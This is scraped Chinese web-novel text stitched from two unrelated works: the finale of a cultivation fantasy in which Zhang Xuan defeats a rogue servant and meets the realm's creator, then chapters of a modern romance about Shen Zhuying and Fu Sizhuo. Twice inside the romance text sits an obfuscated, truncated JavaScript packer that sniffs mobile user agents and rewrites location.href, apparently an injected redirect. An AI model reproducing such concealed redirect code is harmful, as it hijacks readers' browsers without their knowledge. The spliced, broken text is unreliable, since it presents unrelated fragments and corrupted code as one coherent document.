“这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第122章 肌肉** 傅斯灼深深看着她,许久,他说:“我没那么好,沈珠楹,是你的喜欢,给我套上了一层滤镜。” “不是滤镜。”沈珠楹耍无赖似地埋在他的腹肌里,闷闷道,“傅斯灼,你就是很好很好,因为我不是用眼睛看见的,我是用心感受到的。” 傅斯灼垂眸睨她,挑眉问:“真的不是用眼睛看见的?” “……好吧。”沈珠楹讨好地冲他笑了笑,伸出手指比了……好长一段距离,说,“就只看了……这么一点点。” “沈珠楹……”傅斯灼使劲儿揉着她的脑袋,闷声笑了好一会儿,说,“很荣幸长了这么一张脸。” “我也不是只看脸的。”沈珠楹小声嘟囔道,“我的要求很高的。” 沉默许久。 傅斯灼吻了吻她的发顶,说:“我知道。” 那天晚上他们细细碎碎地聊了许久,聊着聊着就开始做,做着做着又开始聊,简直莫名其妙。 第二天,沈珠楹迷迷糊糊地醒来,注意到窗外阳光明媚,洒了满地。 京北市好像很久没有下雪了。 她转身滚进了傅斯灼怀里,仰着头,对正撑着脑袋低头看她的傅斯灼说了句:“我今天中午想吃糖醋排骨。” 她这时候意识到自己没戴助听器。 手伸到床头柜想戴上的时候,傅斯灼用手语歪头冲她比划:“还有吗?” 很难讲清楚这时候的感觉。 非要形容的话…… 沈珠楹觉得他就像偶像剧男主一样,在她眼中柔光滤镜拉满,慢动作回放,BGM响起,还是汪苏泷唱的小甜歌。 老公老公! 沈珠楹“嗷呜——”一声,扑上去,一言不发地咬上了他的喉结,引得一声闷哼。 下场就是……某男再次将她吃干抹净了。 沈珠楹埋在枕头里,颤颤巍巍地冲他比了一根中指。 等傅斯灼帮她把助听器戴上,她脑子分明已经昏昏沉沉了,却又突然灵光一闪,抬眸看向他,一双眼睛像小狗一样黑亮。 “我知道了!傅斯灼。” 傅斯灼帮她把助听器固定好,低声笑着问:“知道什么了?” “你是为了我学的手语,对吗?” 如果真的如他所说,他两年前就对她有好感的话。 “好聪明啊,风信子小姐。” “好吧。”沈珠楹喜滋滋,“还算你的这两年暗恋有诚意。” 傅斯灼幽幽看向她:“所以……真的很不标准吗?” “什么不标准?”风信子小姐显然已经忘了她几个月前说的那番话了,她凶巴巴地问,“谁说的?我要去揍他!” “……算了。”傅斯灼也埋进枕头里,声音更闷,“我舍不得。” “你舍不得?”沈珠楹犹豫片刻,猜测道,“难道是——” 傅斯灼抬起头。 “——祁舟?” 傅斯灼泄出一口气,又闷进枕头:“……” 而与此同时,此刻还躺在医院的祁舟打了个喷嚏,不小心牵动了伤口,轻“嘶——”一声。 他随手扔了一颗葡萄进嘴里,一脸笃定又傲慢地道:“有点烦啊,姐,温慕葵怎么老念叨我。” 祁昕听后,一脸不耐地把削了一半的苹果塞他嘴里:“你闭嘴。” 祁舟:“……” 她上下打量着祁舟的五官,一脸纳闷地道:“除了这副皮囊,小葵到底还能看上你哪儿啊?怎么就这么想不开,跟你结婚了呢?” 祁舟面无表情地咬了一口苹果:“你就是自己婚姻不幸,所以嫉妒我。” 祁昕微笑:“我小时候怎么就没掐死你?” 祁舟又咬下一口苹果,浑不在意地道:“……吓**了,幸好我命大。” 祁昕:“……” —— 而沈珠楹这会儿一脸老实地站在机场,也在诚恳地接受着姐姐对自己的爱。 “我叫你几点来接我,沈珠楹。” 沈珠楹眨巴着眼睛:“下午两点。” “现在几点?” 沈珠楹:“下午十七点。” 沈珠玉冷笑:“你怎么不晚上二十四点来接我?” 沈珠楹:“那多不好意思啊。” “是啊。”沈珠玉耐人寻味地看着沈珠楹特意遮住下巴的浅绿色围巾,拖长了嗓子道,“二十四点,正是吃海盐芝士饼干的好时候。” 沈珠楹:“……” 到了花间集,沈珠玉环视一圈,满意地点了点头:“这两年店面扩了不少,看来你这个老板当得还算合格。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15268499|166611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那是当然。”沈珠楹傲娇扬起下巴,随即意识到什么,又欲盖弥彰地缩了回去,“我赚了很多钱的。” 她磨了一杯咖啡递给沈珠玉:“你尝尝这款咖啡。” 沈珠玉低头喝了一口,点了下头:“还不错。” “你房子找好没有?要是找不到合适的,可以先住我那里。” 沈珠玉挑眉:“就是你那三十平米的小屋?” “……是三十二点五平米。” “不去,我怕我翻个身就卡里边儿了。” 沈珠楹:“……那你想住哪里?” 她撇嘴:“我不管了,流浪街头吧你。” “那可真是让你失望了。”沈珠玉悠哉悠哉地道,“我有的是地方住。” 沈珠楹:“跟你的肌肉**一起住吗?” 沈珠玉愣住:“你怎么知道?” “因为……”沈珠楹视线移到门口,说,“你的肌肉**找你来了。” 沈珠玉身体僵住,门口紫色风铃叮咚作响,而沈珠楹则冲她甜甜一笑。 “欢迎光临花间集~” 下一秒,徐嘉呈长腿迈进,走了过来。 他攥住沈珠玉的手腕,眼底冒着火光:“沈珠玉,你耍我?这是第三次。” “我是不是说过,事不过三。” 沈珠玉强装镇定:“这不是……还没过三嘛。” 沈珠玉被人给带走了。 临走的时候,徐嘉呈还朝沈珠楹轻轻点头。 沈珠楹支着脑袋,也笑眯眯地冲他点了点头。 哇喔,真酷啊,肌肉**。 终于有人能治治她姐了。 —— 傅斯灼送沈珠楹到花店以后,就立马驱车到了老宅。 他进门的时候,傅珩正坐在沙发上,神色冷峻地看文件。 傅斯灼环视一圈,确认陈婉君没有下楼,这才松了口气。 “爸。”傅斯灼冷淡疏离地跟他打了声招呼。 傅珩点头。 从小到大,这几乎就是父子俩所有的交流了。 甚至没有因为那件事情的发生而变淡或者变深半分。 傅斯灼也没有跟他寒暄地打算,他两步并作一步地上楼,终于走进了那间许久未踏足过的房间。 第123章 傅斯灼同学,认识你很久了 傅斯灼其实从未想到,自己还会再次踏入这个房间。 室内的一切都干净明亮,仿佛一切如初,然而傅斯灼还是注意到了墙上那张快要脱落的黑人乐队海报。 BlackGuns乐队。 他只看了一眼就移开目光,径自打开了那个尘封已久的柜子,一沓整整齐齐的情书终于展露出来。 其中,有一封曾经被撕烂,又认真粘贴在一起的粉**书尤为瞩目。 傅斯灼喉结轻颤着,不知怎么,已经开始想哭了。 好没出息啊傅斯灼。 明明来之前已经特意,做足了心理准备。 但是其实,就算这封情书跟其他普通情书一样整洁,漂亮,一丝不苟,它也足够特别,会让人一眼就注意到。 因为只有这封情书上面,写上了自己的名字。 “沈珠楹”三个字,被她一笔一划,尤为认真地写了出来,几乎占据了粉**书的整个版面,像是在极为高调地告诉即将收下这封信的人—— “我叫沈珠楹,你要认识我哦。” 下面还有一小行字—— “傅斯灼收” 是当时才二十二岁的沈珠楹,寄给他的一封春日来信。 一万分的抱歉,他二十七岁才收到。 傅斯灼仍然不知道她是在什么契机,选择写下这样一封情书送给他,后面又为什么没有送出去—— 他仍然拼凑不出她的来时路。 傅斯灼拿起那封情书,缓慢地抚摸那上面被撕烂的痕迹。 大概是窗外的阳光太刺眼了,傅斯灼觉得他的眼睛干涩得厉害。 他拼凑不出她的来时路,但他可以想象出来—— 她满怀期待,辗转反侧地写下这封情书。 她哭着把这封情书撕碎。 她擦干眼泪,又把这封情书重新拼回来。 毫无疑问,傅斯灼,你又让她失望了。 你在那些年,总是让她失望。 傅斯灼深吸一口气,确认心底饱胀酸涩的情绪已经压抑住之后,这才打开了那封情书。 只看到了前两行,他刚刚才压抑住的情绪便如同泄了洪一般冲出,眼泪无知无觉地掉了下来。 他慌忙撇开头,生怕眼泪将信纸浸湿。 “高二a班的A同学: 见信好。 虽然距离十六岁那年的仲夏夜,已经过了六年,但也请允许我……” 傅斯灼看到两行字,突然就从内心深处涌上了一股酸楚。 他咬着牙,想嚼碎了往下咽,却怎么也咽不下去,以至于他的眼泪一直止不住。 傅斯灼其实很久没哭了。 十八岁那年,参加完傅斯华的葬礼以后,他就知道眼泪是世界上最没用的东西。 它没法儿让死去的人复活,就像在现在,它也没法儿让他穿越回二十二岁的那年,然后收下沈珠楹这封没递出去情书。 即便他如今,万分诚恳地在请求这件事情。 但没办法,他现在仍然很想哭,仍然需要一个发泄口。 “吱呀——”一声,门突然被打开了。 傅斯灼的第一反应就是去抹眼泪。 周清兰小心翼翼地伸出一个脑袋朝他看了过来。 两人对视。 周清兰:“……” 傅斯灼:“……” “不好意思啊,小灼,你继续哭……继续……” “这门怎么回事……” 周清兰默默把门关上了。 要老命了,这破门,怎么开门的声音这么大? 傅斯灼摁了摁泛酸的眼角,低下头,喉结上下清晰滑动,正打算继续看。 门“吱呀——”一声又开了。 周老太太顶着一头银发,笑着问他:“小灼,这回怎么不躲浴室里去哭了?” 傅斯灼一脸无奈。 “周清兰女士——” “好咯好咯——”周老太太贴心又把门合上,“你继续哭,继续哭。” 窗外阳光雀跃出光影,落在已经快要泛黄的信纸上。 傅斯灼无奈摇着头,视线落在信纸上。 “高二a班的A同学: 见信好。 虽然距离十六岁那年的仲夏夜,已经过了六年,但是请允许我这么称呼你,也希望你不要觉得突兀。 在我说出接下来那番话之前,还请你知晓,这是一封表白信,我喜欢你很久了,从十六岁到二十二岁,今年,是我喜欢你的第六年。 请你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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是傅斯灼还是傅斯华? 第124章 不见了 在无数次面对着那些外交场合,反复复盘的深夜,傅斯灼总是会在心里想。 